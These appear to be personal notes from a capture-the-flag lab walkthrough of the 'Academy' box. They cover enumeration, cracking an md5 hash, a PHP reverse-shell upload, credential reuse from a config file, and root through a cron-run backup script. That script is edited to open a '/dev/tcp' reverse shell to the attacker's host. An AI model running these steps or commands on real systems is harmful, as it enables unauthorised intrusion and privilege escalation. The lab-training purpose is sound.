Academy

Tuesday, August 2, 2022

9:54 AM

nmap -A -p- -T4 192.168.1.8

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-08-02 03:27 EDT

Nmap scan report for 192.168.1.8

Host is up (0.00049s latency).

Not shown: 65532 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|\_-rw-r--r-- 1 1000 1000 776 May 30 2021 note.txt

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:192.168.1.6

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 3

| vsFTPd 3.0.3 - secure, fast, stable

|\_End of status

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

| 2048 c7:44:58:86:90:fd:e4:de:5b:0d:bf:07:8d:05:5d:d7 (RSA)

| 256 78:ec:47:0f:0f:53:aa:a6:05:48:84:80:94:76:a6:23 (ECDSA)

|\_ 256 99:9c:39:11:dd:35:53:a0:29:11:20:c7:f8:bf:71:a4 (ED25519)

80/tcp open http Apache httpd 2.4.38 ((Debian))

|\_http-title: Apache2 Debian Default Page: It works

|\_http-server-header: Apache/2.4.38 (Debian)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 10.78 seconds

ftp 192.168.1.8

Connected to 192.168.1.8.

220 (vsFTPd 3.0.3)

Name (192.168.1.8:kali): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

229 Entering Extended Passive Mode (|||28420|)

150 Here comes the directory listing.

-rw-r--r-- 1 1000 1000 776 May 30 2021 note.txt

226 Directory send OK.

ftp> get note.txt

local: note.txt remote: note.txt

229 Entering Extended Passive Mode (|||5506|)

150 Opening BINARY mode data connection for note.txt (776 bytes).

100% |\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*| 776 1.23 MiB/s 00:00 ETA

226 Transfer complete.

776 bytes received in 00:00 (492.72 KiB/s)

cat note.txt

Hello Heath !

Grimmie has setup the test website for the new academy.

I told him not to use the same password everywhere, he will change it ASAP.

I couldn't create a user via the admin panel, so instead I inserted directly into the database with the following command:

INSERT INTO `students` (`StudentRegno`, `studentPhoto`, `password`, `studentName`, `pincode`, `session`, `department`, `semester`, `cgpa`, `creationdate`, `updationDate`) VALUES

('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '', '', '', '7.60', '2021-05-29 14:36:56', '');

The StudentRegno number is what you use for login.

Le me know what you think of this open-source project, it's from 2020 so it should be secure... right ?

We can always adapt it to our needs.

-jdelta

hash-identifier cd73502828457d15655bbd7a63fb0bc8

this is md5

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

cd73502828457d15655bbd7a63fb0bc8:student

dirb <http://192.168.1.8>

or

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u <http://192.168.1.8/FUZZ>

academy [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 0ms]

phpmyadmin [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 4ms]

[Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 6ms]

server-status [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 7ms]

login to <http://192.168.1.8/academy/my-profile.php>

username in note.txt: 10201321

pass: student

we have upload avatar form.

using php serverse shell

use linpeas to enum

python3 -m http.server 80

$ wget <http://192.168.1.6/linpeas.sh>

--2022-08-02 04:16:12-- <http://192.168.1.6/linpeas.sh>

Connecting to 192.168.1.6:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 807167 (788K) [text/x-sh]

Saving to: 'linpeas.sh'

$ chmod +x linpeas.sh

$ ./linpeas.sh

some interested

\* \* \* \* \* /home/grimmie/backup.sh

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

<news:x:9:9:news:/var/spool/news:/usr/sbin/nologin>

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

\_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin

systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

messagebus:x:104:110::/nonexistent:/usr/sbin/nologin

sshd:x:105:65534::/run/sshd:/usr/sbin/nologin

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false

ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

grimmie:x:1000:1000:administrator,,,:/home/grimmie:/bin/bash

$ cat /var/www/html/academy/includes/config.php

<?php

$mysql\_hostname = "localhost";

$mysql\_user = "grimmie";

$mysql\_password = "My\_V3ryS3cur3\_P4ss";

$mysql\_database = "onlinecourse";

$bd = mysqli\_connect($mysql\_hostname, $mysql\_user, $mysql\_password, $mysql\_database) or die("Could not connect database");

ssh to grimmie:My\_V3ryS3cur3\_P4ss

grimmie@academy:~$ sudo -l

-bash: sudo: command not found

grimmie@academy:~$ history

1 ls

2 pwd

3 nano backup.sh

4 whoami

5 sudo

6 sudo -l

7 history

grimmie@academy:~$ cd /home/grimmie/

grimmie@academy:~$ cat backup.sh

#!/bin/bash

rm /tmp/backup.zip

zip -r /tmp/backup.zip /var/www/html/academy/includes

chmod 700 /tmp/backup.zip

grimmie@academy:~$ crontab -l

no crontab for grimmie

grimmie@academy:~$ crontab -u root -l

must be privileged to use -u

grimmie@academy:~$ crontab -e

no crontab for grimmie - using an empty one

Select an editor. To change later, run 'select-editor'.

1. /bin/nano <---- easiest

2. /usr/bin/vim.tiny

Choose 1-2 [1]: 1

No modification made

grimmie@academy:~$ systemctl list-timers

NEXT LEFT LAST PASSED UNIT AC

Tue 2022-08-02 05:09:00 EDT 8min left Tue 2022-08-02 04:39:01 EDT 21min ago phpsessionclean.timer ph

Tue 2022-08-02 06:41:35 EDT 1h 40min left Tue 2022-08-02 03:18:52 EDT 1h 42min ago apt-daily-upgrade.timer ap

Tue 2022-08-02 06:48:12 EDT 1h 47min left Tue 2022-08-02 03:18:52 EDT 1h 42min ago apt-daily.timer ap

Wed 2022-08-03 00:00:00 EDT 18h left Tue 2022-08-02 03:18:52 EDT 1h 42min ago logrotate.timer lo

Wed 2022-08-03 00:00:00 EDT 18h left Tue 2022-08-02 03:18:52 EDT 1h 42min ago man-db.timer ma

Wed 2022-08-03 03:33:56 EDT 22h left Tue 2022-08-02 03:33:56 EDT 1h 27min ago systemd-tmpfiles-clean.timer sy

6 timers listed.

Pass --all to see loaded but inactive timers, too.

grimmie@academy:~$ ps

PID TTY TIME CMD

13778 pts/0 00:00:00 bash

14105 pts/0 00:00:00 ps

grimmie@academy:~$ wget <http://192.168.1.6/pspy64>

--2022-08-02 05:04:05-- <http://192.168.1.6/pspy64>

Connecting to 192.168.1.6:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 3078592 (2.9M) [application/octet-stream]

Saving to: ‘pspy64’

pspy64 100%[==============================================>] 2.94M --.-KB/s in 0.05s

2022-08-02 05:04:05 (64.8 MB/s) - ‘pspy64’ saved [3078592/3078592]

grimmie@academy:~$ chmod +x pspy64

run pspy

2022/08/02 05:07:01 CMD: UID=0 PID=14166 | /bin/sh -c /home/grimmie/backup.sh

2022/08/02 05:07:01 CMD: UID=0 PID=14167 | /bin/bash /home/grimmie/backup.sh

file backup được tạo cronjob chạy hàng phút, đồng thời thay với sh

bây giờ sửa file backup để tạo reverse shell:

bash -i >& /dev/tcp/192.168.1.6/8080

trên máy tấn công:

nc -nvlp 8081

root@academy:~#

cat flag.txt

Congratz you rooted this box !

Looks like this CMS isn't so secure...

I hope you enjoyed it.

If you had any issue please let us know in the course discord.